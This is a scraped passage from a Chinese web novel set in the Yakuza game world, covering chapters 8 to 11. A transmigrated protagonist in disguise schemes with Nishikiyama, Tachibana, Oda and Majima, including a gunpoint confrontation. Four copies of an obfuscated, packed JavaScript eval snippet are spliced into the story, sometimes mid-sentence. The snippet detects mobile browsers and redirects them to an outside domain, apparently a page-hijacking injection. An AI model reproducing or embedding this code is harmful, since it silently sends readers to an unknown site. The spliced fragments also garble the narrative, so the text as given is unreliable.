“啊,没错,是这样。”锦山被唤回了神,发现他最贵的皮鞋被烟头烫了个洞,心疼地嘶了一声:“小夏你有想逛的地方吗,要是没有计划的话我有一些好去处可以推荐。” 清原夏野本就不是来旅游,想了想说:“我对东京不太熟悉,今天你开车带我兜兜风好了。” 锦山彰巴不得展示下他的爱车,听他这么说一口答应下来。 车子行驶在高架路上,东京的风光从窗外掠过,锦山彰把着方向盘,视线控制不住地飘向身边人的侧脸,美人在侧,心荡神驰,话匣子也渐渐打开了。清原夏野手肘搭在窗舷上,心不在焉地听着锦山彰吹嘘新买的最新车载收音机。 “我昨天买了NTT的股票,先投了五百万试试水,要是能赚到钱就再买一些。”锦山彰眉飞色舞地说着。 清原夏野点点头,心想锦山彰还是很听话的,让买哪支股票就买。但愿这笔钱能改变锦山优子的命运,让她不至于没钱治病死掉。 锦山彰的口袋震了两下,他掏出bb机看了一眼:“抱歉,我待会和朋友有约,先送你回酒店可以吗?” 清原夏野扭头看向他:“我也要去。” 锦山彰一脸无奈:“我去神室町的店,你也要去?那种地方可不适合你这样的大小姐。” “你去哪我就去哪,”清原夏野坚持道:“要是你敢丢下我我就告诉我哥哥,让他扣你的钱。” 他撂下这句便朝椅背上一靠,闭上眼睛抱着手臂开始补眠。锦山彰无法,只得调转车头朝神室町的方向驶去。 回程路上,锦山彰心事重重,眉头就没打开过,清原夏野亦是睡不安稳,眼前乱七八糟的画面交叉轮替:一会看到自己达成了攻略目标,拿着十兆回到了原世界;一会看到自己在街头斗殴中被误伤,倒在血泊中生死不知;一会看到攻略系统的事情败露,自己被攻略对象们全日本追杀… “清原小姐,我们到了。” 清原夏野睁开眼,看到锦山彰近在咫尺的面庞,将他和梦中梳着背头,穿着规整白西装黑衬衫,一副正统极道模样的冷峻男人对上了号。 清原夏野下意识抬起手,把他的头发向后捋过去露出额头,仔细端详过后又抽出手指,慢慢把他颊侧的发丝梳顺,半是认真半是玩笑地说:“还是现在这样比较好看。” 虽然组长时期的锦山也很有极道大佬的派头,但还是眼前故作成熟的生涩青年看着顺眼。 “你——” 锦山彰瞳孔放大,在这一瞬间,他把今天和小夏的相处都在脑子中过了一遍。 这位大小姐不会是喜欢上自己了吧。 既然小夏不是想象中那样冷淡,要不就试试追求对方? 清原夏野看不到他脑内的胡思乱想,他越过锦山肩头,看到游戏里熟悉的建筑物,心中一动,径自拉开车门下了车。 锦山彰给自己打气似的握紧拳头锤了一下方向盘,跟着下车追过去。 傍晚刚过,「瑟蕾娜」还不到上客的时间,一身红色套装的妈妈桑丽奈站在吧台后整理酒柜,听到开门的声音她跟着望过来,看到走进来的清原夏野和锦山彰先是一怔,随即扬起一个明媚的笑容。 “欢迎。” 锦山随意应了一声,刚要拉开吧台边的椅子自己坐下,想起清原妹妹也在,绅士地示意对方先坐。 丽奈看在眼里,淡淡地微笑着问:“锦山弟弟还是老样子吗?” “嗯,我还是威士忌加冰。” “这位可爱的妹妹呢?” 清原夏野耍起男人来没什么心理负担,但不准备为难美女:“我没到可以喝酒的年龄,给我一杯橙汁就好。” 丽奈笑着夸了句真可爱就去准备饮品了,清原夏野手背撑着腮看她调酒。 丽奈身材高挑,体型丰满,眼睛又大又黑,眼下一颗小痣,顾盼间别有一股成熟的风情。 真人比游戏建模还要美。 丽奈端着托盘过来,把橙汁递给清原,威士忌杯推到锦山面前。 “这位是锦山先生的恋人吗?” 她摸不准眼前这二人的关系,谨慎地换了称呼,从原本更加亲昵的「锦山弟弟」换成了「锦山先生」。 锦山像是没听见她的话一样,自从进门他便魂不守舍,一心盘算着明天带清原妹妹去吃什么玩什么。 丽奈笑了笑没有再开口,清原夏野没看漏她一瞬间的黯淡神色,心中暗暗叹息。 这样的好女人居然一颗心都放在锦山身上,偏偏锦山彰像个瞎子一样,对她眼中的柔情视而不见。 “锦山先生不是我男朋友,只是我哥哥拜托他照顾我几天。”他主动解释道。 时针走过了一圈,锦山彰杯中的威士忌空了又斟满,「瑟蕾娜」陆续有其他客人来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472643|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 清原夏野再一次用指腹擦掉杯壁上的水珠。 他抬眼看了下时钟,心想他今晚等的人想必快到了,就起身拿上外套,和锦山说要出去透口气,一个人走出了俱乐部的门,点了根烟咬在唇边,双肘撑在楼梯栏杆边看渐渐暗下去的天色。 网已设下,人事已尽,剩下的要看天命,清原夏野恬然静坐局中,等待猎物光临。 身后传来脚步声,他的余光中出现了一抹酒红色的裙角,同时晚风送来一缕醉人的香气。 清原夏野侧身看向来人,礼貌地点了点头:“丽奈小姐。” 丽奈望过来的一双明眸比耳畔的金饰更亮,她手指把鬓角的碎发拨到耳后,笑得温婉:“神室町这地方不算安全,我放心不下,出来看看你。” “我抽完这支烟就回去。”清原夏野扬了扬指间纤细的女士香烟:“里面还有其他客人要招待,丽奈小姐先去忙吧。” “无需担心,店里还有其他女招待陪客人,我等你一起回去吧。”丽奈坚持道。 清原夏野无奈笑了笑,做了个请便的手势。 丽奈能在神室町独自经营高端俱乐部,还做得有声有色,自然是八面玲珑的聪明人,她看出清原夏野心里有事,也不刻意去搭话,只安静地陪在一边。难得不用动脑筋算计利用身边人,这一刻清原夏野竟生出一种岁月静好的错觉。 这位聪明又美丽的女子深爱着锦山,守在他身边十几年,最终却不知是被锦山本人还是锦山组的下属枪杀。 他没有闲到见人就要拉一把,只是丽奈不该那样草率的死去, 清原夏野捻灭烟头,眼神淡淡然从丽奈身上掠过,像是作出了某个决定。 “丽奈。” 丽奈惊讶于今天初次见面的小孩竟然用名字称呼自己,便听见清原夏野接着说道:“你是个好女人,以后肯定会幸福的。” 丽奈从一名陪酒女到现在拥有自己的店,曾经对她这样说的男人数不胜数,但清原夏野说这话的语气还是令她心头一热。 就好像不是随便说出来的甜言蜜语,而是笃定自己将会为她实现这样的人生。 她缓过神,本想说些什么,余光却留意到停到楼下的红色跑车,从车上下来一个西装笔挺的男人,面容年轻,气势却不凡。 他注意到楼上的两人,目光定在清原夏野身上,微微一笑。 “初次见面,清原。” 丽奈察觉到几分来者不善的意味,捏紧了自己的袖口。 清原夏野眼神不闪不避,沉默着和他对视。 他之所以来到神室町就是为了见这个人,今天一整天的筹划也是为了这一刻。 神室町不动产公司立华不动产的社长——立华铁,人称“暗之不动产帝王”,同时也是空白的一坪持有人牧村实的哥哥,和东城会的风间新太郎合作,想要通过空白的一坪在神室町的支配阶级中占有一席之地。 不管怎么说,他很有必要和立华铁谈一次。 9. 第 9 章 “您是来找桐生先生的吗?他没在这里。” 清原夏野开口道。 这轻描淡写地一句,是点明自己已经知道了对方的身份和目的,旁人听了只觉得这是熟人之间寒暄,但他知道面前这男人听得懂。 “不是,我是专程来见你。”西装男人面色不改,嘴角噙着温润的笑意:“我有事要和你单独谈,能否请这位小姐回避一下呢?” “这…”丽奈犹豫着看向清原。 “没关系丽奈,你先回去吧。” 清原夏野朝她露出一个安抚的笑容,丽奈点点头,一步一回头地上了楼梯。 璀璨的霓虹灯下,一人垂眼,一人抬眸,脸上均挂着无懈可击的笑容,如同擂台上绕着圈寻找进攻机会的拳手一般,估量着对方的实力,剑拔弩张的气氛逐渐蔓延开来。 少顷,立华铁在心里叹息一声。他掌握的关于清原夏野的情报还是不够。 出身东京的上等家庭、亲属全是本分又正派的社会精英、在出名的私立高校就读、成绩优异…只是打探到的信息越多,对方的目的便越是破朔迷离。 ——因为无论如何也想不到这样的人会牵扯进极道的事件中。 他率先开口打破了僵持:“桐生先生认识的人雇人四处打听我们事务所有什么事吗?” 清原夏野没有正面回答他的提问,笑吟吟地抱臂俯视着立华铁。 “这个节骨眼上在神室町露面,社长您可真是不怕死,堂岛组那几个大干部正到处找您呢。” 支撑立华来见自己的原因不过是想要知道自己是敌是友而已,他得适当给对方亮一点手牌,以免被当作什么都不懂的小屁孩。 “你知道的比我想象中要多。”立华铁说,脸上平静的神态让人捉摸不透:“我们是否可以换个地方聊呢?清原先生。” 对于这个称呼,清原夏野恰当地表现出一丝惊讶,心里却道果然如此,他没有小看立华不动产的情报网,何况性别这种东西只要有心查就查得到。 他走下楼,径直坐进红色跑车的副驾,立华铁启动车子,虽然只有一只手,开起车来倒是很灵活。 “你的装扮可以说毫无破绽,只是我打听到清原先生家里只有你一个孩子,你的父母都是独生子女,不存在这个所谓的「清原夏子」。”立华铁解释道。 清原夏野暂时没有从他的话里听出什么恶意,但不妨碍他顺势接上话题:“我这个妹妹是编出来的不假,但立华社长您是真的有个妹妹吧。” 立华铁瞳孔巨震,清原夏野手疾眼快地扳了一把他的方向盘才避免跑车撞墙。 你是怎么知道我妹妹的事情的——路上立华铁问。清原夏野只是微笑,并不回答,没有人能和他这个上帝视角的玩家拼情报,立华铁再能干也不过是个NPC罢了。 立华铁在剧场前大街的一栋大楼前停下了车,他带着清原夏野走进电梯,按下顶层的按钮。 电梯门打开,清原夏野注意到穿着黑色西装的人站在走廊两侧,在他们路过时鞠躬向立华铁问好,清原夏野心想,但凡他敢出手对立华铁不利,这些人就会一拥而上把他打烂。 他们走进一间大厅,坐在沙发上的男人听到脚步声站起身来,他个子高大,身材也算得上健硕,他穿一身卡其色条纹西装搭配花色时髦的衬衫,富有光泽感的头发用发胶打理得整齐,看得出来很注意个人形象。 清原夏野想,又是个剧情NPC。 尾田纯看都不看清原夏野一眼,径自走到立华铁面前,沉声道:“您回来了,社长。” 下午他按照立华社长的指示,收集关于这个小鬼的情报,无论怎么看都是个未成年乖乖仔而已,不知道社长为什么会注意到这种人。 “清原先生,随便坐吧。”立华铁温和地说:“你习惯喝什么,茶还是咖啡?” “瓶装的乌龙茶就好,谢谢。” 立华铁拿起茶几上的乌龙茶递给他,清原夏野坐到沙发上,默默啜饮着茶水,立华铁坐到他对面,耐心地等他放下瓶子才开口:“清原先生,刚刚见到我的时候你并不惊讶,是已经预料到我会去找您了吗?” 清原也爽快地承认:“没错立华社长,是我想要见您,可是您太难找了,我只能出此下策让您主动来见我了。” “既然现在已经见到我了,能否把你想要做的事透露给我一些呢。” 尾田纯嘴角扯起一个扭曲的笑容:“他能知道什么?再说哪有正常男人穿裙子的,照我看,他不过是个喜欢男人的恶心同性恋罢了…” “尾田,这样说话太失礼了,以后不要再说。”立华铁的嗓音里难得带上了几分严厉。 尾田纯立即闭了嘴,清原夏野笑了,他还是第一次在人的脸上看到狗一样的表情。 立华铁行止有礼,完全不见曾经在底层摸爬滚打的痕迹,反观尾田纯,虽然打扮成上班族的样子,说白了就是个混混。 清原夏野对尾田的冒犯只是扬了扬眉毛,没发表什么意见。 他是来和立华铁交涉的而不是来找茬,谈判前先激怒对方的得力下属显然不是明智之举。 他抬起头直视立华铁,再开口时换成了流利标准的普通话:“我知道空白的一坪的所有人在哪里。” “喂。”尾田纯的眼里闪出了凶光:“你是怎么知道我们在查空白的一坪的?” 清原夏野从容地微笑着,装作诧异:“我没有说,这不是你自己说的吗?” “你!” 尾田纯一脸愠怒地盯着清原,清原夏野丝毫不惧,他撑着下巴,脸上露出挑衅的阴笑,眼看尾田就要失控,立华铁不得不出言打圆场。 “立华不动产已经掌握了相关情报,我们也会顺着线索查下去,至于空白的一坪,那是我们内部事务,牵涉其中可能会给您带来危险,能否请您不要再费心了呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472644|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “立华社长居然还能这么冷静,可真是难得,空白的一坪所有人不正是您的妹妹——我记得叫牧村实是吧。您拖的时间越久,她的处境就越危险不是么。”清原夏野不为所动,直接抛出另外一条情报。 片刻的沉默,立华铁闭了闭眼。早在清原夏野说他知道妹妹的下落时,他的内心便已掀起了惊涛骇浪,此后的礼貌疏离不过是虚张声势,如今也被这名少年识破。 清原夏野不仅在信息上占据上风,气场上也是稳稳地压制他们。 “你的条件又是什么呢?” “我要作为您的合伙人,暂时加入贵事务所。” 又是一个出乎意料的答案。清原夏野唇角挂着若有若无的微笑,像是在说——不愿意就免谈。 夜晚的天空下,整片神室町天下一番街灯火通明,高楼大厦组成一张黑色棋盘,无数红男绿女进进出出,清原夏野垂下眼睫,仿佛透过爱欲与暧昧的雾气,窥见深埋在这片钢铁大楼下巨大的利益洪流。 终有一天,他会化身成为把一切都吞噬掉的野兽,无论是日本极道还是中国的帮派都不值得一提,他要将一切都踩在脚下。 想到这里,他嘴角噙着笑容,任凭对面的两人用探究的眼神打量着他。 “我们事务所少不了和极道起冲突,你若是加入进来免不了也会面对危险的人,就算这样也没关系么?” “贵事务所和堂岛组在歌舞伎町的较量不是一天两天了,我略有耳闻,我既然找到您,就早做好了面对危险的准备,要是真丢了命也是我自己运气不好。” 立华铁沉吟片刻,也没说行还是不行:“你这个年纪应该还在学校读书吧,以你的成绩会读最好的大学,日后的成就想必胜过你父母,何必来趟这趟浑水。” 清原夏野深以为然。 要是换成是在原世界,他肯定会珍惜生命,远离危险的人和物,只在暴力电影和游戏中寻求自己想要的刺激,但这一次生命等同于附赠,不管以后会付出怎样的代价,他都要先玩爽了再说。 “当企业高管也是给人打工而已,很难说会一直赚大钱,”他把玩着手中的瓶盖:大家是赚到更多钱了没错,可与此同时土地的价格与房价更是一路狂涨,挥汗劳动远不如坐收利息,大家都说,将日本的所有土地卖掉,可以买到二十个美国。” “这个国家是否能永远保持如此盛况?身为普通人的我们能做的也只有飞身乘上这个百年难遇的时代狠狠赚上一笔,和您一样,立华先生,我想要的也不过是一个机遇,赚大钱的机遇。” 立华铁眼睛一眨都不眨地盯着他,眼神里透着几分赞赏:“你的胆量和头脑都不是一般人能比的,我也很好奇,到底什么程度算得上你认为的赚大钱呢?” “自然是多多益善。”清原夏野一哂,他的目标何止神室町:“立华社长现在毕竟是我的老板,以后赚了钱自然是您得大头。” 10. 第 10 章 他足够狂气,但并非那种得意忘形的小鬼。立华铁起身朝他伸出手:“清原先生,从今天开始你就是我们公司的一员了,以后请多多指教。” 尾田纯见这个少年竟如此轻易便得到了立华社长的认同,心里颇不是滋味。 清原夏野伸手握了握立华的手,一抬眼正对上尾田艳羡和嫉恨的眼神。 既然已经说完正事,他也没有了顾虑,用揶揄的视线上下打量着尾田。 待对方被他的目光看得不自在,狠狠地瞪回来时,他才似笑非笑地开口:“尾田先生,我就算喜欢男人也不至于饥不择食,你大可不必担心自己的屁股。” “你个混账!” 这个死兔子!尾田纯握紧了拳头,克制着心中狂躁的冲动——他想一拳把眼前女装的少年打翻,在那对细弱苍白的手腕上扣上手铐,把凌虐的工具全数在这家伙身上用一遍,让他苦苦向自己求饶。 “我不过是开句玩笑罢了,干嘛这么敏感。”清原夏野耸了耸肩作豁达状,引得尾田又是一阵暴怒。 狗日的清原,总有一天要杀了他。 立华铁看着尾田被比他小十岁的少年像玩狗一样耍,无奈地摇了摇头。 “清原先生,我有件事要和您商量,我想要请你替我跑一趟大阪,把小实接回来。” 这一请求正中清原的意料,他一口答应:“没问题。” 立华又接着说:“我患有肾病,每隔一天就要做一次肾脏透析,无法轻易离开东京,这次恐怕无法和您同行,尾田先生是我倚重的左右手,桐生先生也相当能干,我会让他们一路保护你,假使在大阪遇到什么麻烦也好相互照应。” 这次清原没有再答应得那样快。他不想带上尾田纯,在这个时间点上尾田恐怕已经投靠了堂岛组的涩泽启太,这样的人跟在身边无疑是个祸害。 他斟酌了半晌说:“堂岛宗兵雇佣了「老鬼」,他对空白的一坪志在必得,你和堂岛组抢这块肥肉,他们肯定不会放过你。” 立华铁听了也是神色凝重:“老鬼…我在大陆□□时,曾经见过这个人,他是最强的杀手,如果堂岛组和他合作那就不妙了。” “立华社长是事务所的「心脏」,要是你落入堂岛组手中,我们正在做的一切就没有价值了,因此我建议尾田先生留在社长身边保护,他跟随你的时间长,照顾起来想必更周到。” 清原在心里打着自己的算盘,说出来的话却足够体贴,滴水不漏。 “好,我会考虑的。” 清原心知再纠结这件事反而会令立华社长起疑,便不再多提,又问:“社长想要我们什么时候出发去大阪?” 还没等立华开口,大厅的门被人敲响了,一个职员模样的男人匆匆走进来,低声在立华耳边说了几句什么,立华的脸色渐渐沉下来。 “无需马上动身,”他对清原说:“堂岛组给桐生先生下了追杀令,我得先去处理这件事情,我想,这一两天内应该就能解决,请您安心在东京逛逛,等我联系您就好。” “令妹那边需要人盯着,这样,我先动身去大阪,等这边的事情搞定了,您再派人到大阪和我汇合。” “好,那就交给你了。”立华铁点点头,他接过尾田手中的公文包递给清原夏野,清原夏野拉开包链,里面是码得整齐的一沓沓万元钞票,夹缝间闪过金属制品的一线寒光——那里塞着一把“大黑星”。 “会用枪吗?” “会一点。”清原夏野指腹摩挲过黑色的枪身,从那上面传来凶险的气息,令他感到安心。 “我会尽快处理完这边的事,让人去接应你,在那之前请好好活着。”立华简洁地交代完,又让尾田纯开车送清原夏野回酒店。 将近十点,属于东京这座大都市的夜生活刚刚拉开帷幕,神室町的街道上车流缓慢,清原夏野睡眠不足,困得眼睛睁不开,头一点一点地越垂越低 突然,发顶传来火辣辣的刺痛。清原夏野蓦地清醒,下意识摸向疼痛的部位,却摸到一手濡湿,车窗玻璃上沾着新鲜的血印,他从车窗的反光中看到一条血线顺着自己的脸颊滑下。 “刹车刹得急了点,不好意思哈,不过我说你一个年轻人,不到十点就困成这样,该不会是有什么毛病吧?” 清原从后视镜里看到尾田恶意的微笑,摆明了刚刚的急刹车是他故意搞出来的。 清原大逞口舌之快,让尾田在社长面前丢了面子,尾田咽不下这口气存心报复,清原看破他的想法,也不吭声,只是沉默着用衬衫袖口擦拭额角的血迹。 前面的驾驶座上,尾田一边开着车,一边用眼角的余光窥视着清原的表情。 虽然今晚是他第一次见到清原,但尾田以摸爬滚打多年练出的一双能识人的眼,判断出这小子绝对是个有仇必报的狠人。 清原越是沉默,尾田便越是紧紧提着一颗心,生怕他突然发疯。 清原夏野不管他此刻的忐忑,他正在和系统讨价还价。 「你确定才给我加5点虐心值?我可是伤成这样了,你看,都流血了!」 系统无动于衷:「加多少虐心值我说了不算,我们有专门的机制判定。」 算了算了。清原夏野不再理会系统,冷冷地说:“喂,尾田。” “说,你到底有什么事,我丑话说在前头,就算社长发话要我协助你,凭你个死兔子也休想让我服你。” “死兔子…”清原夏野咀嚼着这个词,嘴角露出一丝微笑,尾田不知道他又在盘算些什么,心底的不安逐渐加剧。 “我有一件事想不明白,为什么以立华不动产的情报网,这么长时间都没查到牧村实的下落。” “你不是已经找到那女人在哪里了吗?”尾田耸了耸肩,一副满不在乎的样子——实在太可疑了,以他对立华的崇敬,对于帮对方找回妹妹这件事不应当这么不上心。 除非尾田隐瞒了什么,他根本就不想让牧村实回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472645|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “找到了,但她的处境并不好,这名叫做牧村实的姑娘,听说之前被人诱骗卖去韩国的组织了,骗她的这个人究竟是谁呀,好难猜啊。” 清原夏野用闲聊的语气说道,他刻意放慢了语速,让尾田每个字都听得清。 尾田瞬间变了脸。 “我也不知道。”他生硬地开口。 “立华社长让你帮忙找人,有给你看过她的照片吗,她是个漂亮的短发姑娘,只要见过一眼就会印象深刻。” “我、我没见过这个人。” 尾田的普通话本来就烂,心虚时更是结巴得不像样子,清原夏野忍不住笑出了声,尾田浑身都僵硬了,就算是个笨蛋,现在也该明白自己被这家伙耍了。 “你早就知道是我把那女人卖给韩国帮派的吧?说什么找到了那女人的下落,我看一切都是你在捣鬼吧——” 冰冷的枪口抵住了尾田的后颈,上膛声强行打断了他的咒骂。 “把车停到路边。”清原夏野命令道,枪口又往尾田的后颈肉里深陷一寸:“不然我现在就崩了你。” 车子在路边停下,尾田额头沁满汗珠,表情扭曲着。 “我一定要杀了你。”这句话几乎是从他牙缝里一个一个字挤出来的。 不过是虚张声势的狗吠,清原夏野一笑带过。 “没错,要是你想封我的口,就只能杀了我。但这事要是被立华社长知道了,你就没法跟着他了,社长会很生气,大概会把你赶走吧。” 他用怜悯般的视线看向剧烈颤抖的尾田,现在也只有提立华铁的名字能拿捏住他了吧。 说来奇怪,他对尾田纯这人只有恶感,但他此刻却无比羡慕立华铁,羡慕世上有一人对他如此忠心、如此真心,自己却没有。 以后大概也不会有。 尾田沉默了很久,要不是他搭在方向盘上的双臂一直在发抖,清原夏野都以为这人已经化作石像了。 “那个时候,我还不知道那女人是社长的妹妹,等到我发现的时候,一切都太迟了,我犯下了无法被原谅的错误,一旦和那女人碰面,她一定会认出我,向立华社长揭发我做过的事,如果社长能一直都不知道就好了——”说到这里,他的眼底闪过近乎疯狂的亮光:“要是那女人能识相的死掉就好了。” 他说这话的时候,系统不断跳出虐心值上涨的提示,清原夏野意外地挑挑眉,跑这一趟也算是有所收获。 “真可怜,现在只有我能帮你了。” 清原夏野用黑星的枪口亲呢地点了点尾田的脑门,给枪扣上保险栓,扔进脚下的公文包。 他不会帮尾田杀掉牧村实,这与他的目的相悖,但他可以实现尾田的愿望——帮他留在立华铁身边。 “你想要什么?”尾田嗓音沙哑。 “我想要的你满足不了,既然立华铁让你协助我,那就好好跟着我,别给我惹事。” 沉默。尾田纯再也没有开口。 11. 第 11 章 清原夏野让系统把他传送到GRAND附近的小巷子,简单整理衣裙,确定不会被看出异样后,他挂上营业的微笑,朝着GRAND金碧辉煌的大门走去。 在门口,他正巧撞见了匆匆走出来的真岛,真岛也看到了他,挥挥手和他打了个招呼。 “哟,小夏,白天逛得怎么样?” 清原上午以在大阪逛逛为借口离开了真岛家,现在被问起也面不改色地回应:“还不错。” 他这样说倒也不算是扯谎,只不过逛的不是大阪而是东京。 “你头怎么了?”真岛低下头,在发丝的缝隙间看到了他额头上的血痕,木莲花的香气 “碰上了一个车技差还暴躁的出租车司机,刹车时候撞到玻璃上了。”清原笑了一声,掂了掂手上的公文包:“没关系,我已经去投诉了,他们公司也给了我补偿。” “真够乱来的,这些公司背后难保不会有道上势力撑腰。”清原以为真岛要抱怨自己给他惹麻烦,便听他接着说:“下次再碰上这种事记得叫上我。” “嗯。” 真岛没有多说什么,匆匆忙忙地离开了,清原不急着回店里,他慢吞吞地给自己点上一支烟,升腾起的烟雾掩住了他若有所思的目光 按照剧情,真岛这是要去按摩店「畅快馆」找牧村实的下落。 他来到大阪的第一天就联系了收留牧村实的按摩店老板李文海,顺利取得了他和牧村实的信任,牧村实早在昨晚就被转移走,真岛这一趟注定要扑个空。 「系统,你有替身人偶这类的东西吗?要多少虐心值换?」 系统还是一如既往的豪迈:「你总共就十来个虐心值,够干什么的?这点小道具我直接送你好了。」 「谢了,老板大气。」清原也不多客气。一片薄薄的人形纸符出现在他的手上,清原闪身进入一旁的暗巷,按照系统的指示,把纸符平放在地面,咬破食指将血珠抹在人形纸符的四肢,接着退后几步。 一分钟后,变成「小夏」模样的替身人偶摇摇晃晃地从地上站起来,一开始它走路的姿势还很僵硬,但只走出几步,它的动作就变得如同常人一般,脸上的表情也越来越生动,清原夏野几乎有种照镜子的错觉。 注视着替身人偶走进GRAND,清原夏野走到路边挥手打了辆出租车。 “到招福町南侧的「畅快馆」。”他对司机说。 系统也反应过来了,声音里透着难以置信:「你去李文海的按摩店做什么,你该不会要假扮成牧村实吧?!」 「我有必要假扮么?真岛又没见过牧村实,我换身衣服换顶假发就能蒙骗过去了。” 系统不愿让他舍身犯险,但又不得不承认越接近主线剧情,和主要角色的接触越多,越能刷得到虐心值。 「真服了你。」系统叹了口气,知道宿主的想法没法更改,它认命地动用自己的能力将清原夏野的气质做了个大调整,这下子哪怕顶着一模一样的脸,真岛也不会识破。 出租车停在「畅快馆」的门口,店里没有客人,店长李文海背对着门口坐在按摩床上,在整理针灸用的银针。 ”来了?”听到门帘响动的声音,李文海扭头看过来。 这个孩子在几天前的晚上来到自己的店里,自称是接受了牧村实亲哥的委托,前来护送她去东京,他说得非常真诚可信,很容易就获得了牧村实的信任,李文海一开始还怀疑他是东城会或者近江派来的骗子,但清原在他的暴力威胁下依然神态从容。 “我会冒充牧村实的身份,成为暴露在外的靶子来吸引东城会和近江联盟的注意力,直到牧村实顺利返回她哥哥身边。”他说:“店长,和你一样,我也会押上我的性命。” 被这番话震慑,李文海彻底哑口无言,最终还是接受了这个不速之客的提议。 清原让李文海藏到按摩馆的窗下,自己则换上牧村实给他准备的衣服——按摩馆的工作服,还有一件橙色的大衣。 “等会杀手一进来我就出现保护你,你不用太紧张。”李文海低沉的声音从窗外传来。 清原拿上盲杖,摇了摇头。 “今晚来的人不会只有一波,我会看情况向你求助的,店长就等我暗号吧。” 他不指望李文海能帮上什么忙,要是牧村实遇险他兴许还能拼了命救人,但换成自己就很难说了。 相比于依赖他人,还是自己更靠得住一点。 夜色掩映下,真岛做好了杀掉牧村实此人的心理建设,手持肋差「鬼炎」摸进「畅快馆」。 他放轻脚步,搜遍了屋内一切能搜的地方,就连帘幔里和床底都细细找过。按摩馆空无一人,那个叫牧村实的家伙不在这里,他今天白跑了一趟,只能明天再来。 即将走到按摩馆门口时,真岛听到一阵渐近的脚步声,他脚步一滞,后退几步拉开距离,「鬼炎」的刀尖冲着前方摆出攻击的架势。 门在他面前被人推开,门后露出一张纯然可爱的面庞,手持盲杖的少女慢慢地走进来,她像是没看到真岛和他手中的尖刀似的,径直朝着他的方向走过来。 真岛心里暗暗叫苦。她进一步,真岛就后退一步,他是做好了杀掉「牧村实」的准备,但不准备滥杀无辜。 眼前人略显苍白的脸颊、颜色浅淡的嘴唇、甚至睫毛颤动的幅度都给他一种熟悉的感觉,但只要真岛一去细想,他的脑子里就像是蒙上一层雾,再绞尽脑汁,也联系不上哪个具体的名字。 少女疑惑地歪了歪头,像是也察觉到了另一个人的存在。 “是店长吗?”她轻声询问。 真岛不敢出声,眼看二人间的距离渐渐拉近,他只得屏住呼吸放轻脚步一退再退。 这时,里屋电话铃声骤然响起,少女急于接电话向前快走了几步,却一个重心不稳整个人向前扑去。 她面前的真岛全然未设防,被这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472646|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一带直接仰面摔倒在地,刀也在这一撞之下脱手飞出,金属坠地的声音在空旷的走廊里异常清晰。 真岛第一反应是把武器捡回,在他的手指即将接触到刀身的瞬间,「鬼炎」被一只棕色的皮靴踩住踢远,少女翻身骑坐在真岛身上,动作敏捷地不像个盲人。 “抓到你了。”她声音冰冷:“一个人偷偷摸摸出现在我们店里,你是来偷东西的吧。” 真岛喘息片刻才定下神来,心中对少女的冷静和机敏多了几分佩服,再看那一双漂亮的眼睛毫无焦距,若是装瞎也未免太真,于是扯谎道:“你别害怕,我不是小偷,是来店里找店长按摩的顾客,你进来的时候我也才到,店长今天没在对不?那我改天再来。” “你是客人?” “是啊,我这几天身体不舒服,简直是难过得快要裂开了,听别人介绍说这里的店长有「神之手」的美名,想着今晚过来让他帮我治疗,没想到他竟然不在呀,唉,真是太不赶巧了。” 真岛说完就想开溜,少女,不,清原夏野用手撑着墙,缓缓站起身来,中途未站稳险些又跌倒。 「你对自己可真狠。」系统看出他还没能适应失明的感觉,乍舌道。 清原夏野能够骗过真岛让他相信自己是个瞎子,可不是因为他演技拔群,而是借助了系统的力量,让自己暂时失明。 「没有其他办法了,万一我演失明演得不够像,露出破绽就前功尽弃了。」清原夏野说:“时间实在是太紧了,我要尽量不出任何差错才行。」 真岛看他这么好说话,松了口气正要起身,不想被清原夏野叫住。 “那就让我给您按摩吧,我的手法可是连店长都称赞过的,即便不能达到「神之手」的程度,至少可以帮客人您缓解一点痛苦。” 真岛看任务目标不在,哪有闲心多留:“今天就不了,我还有其他急事,等哪天有时间再来指明小姐您帮我按摩好吗?” 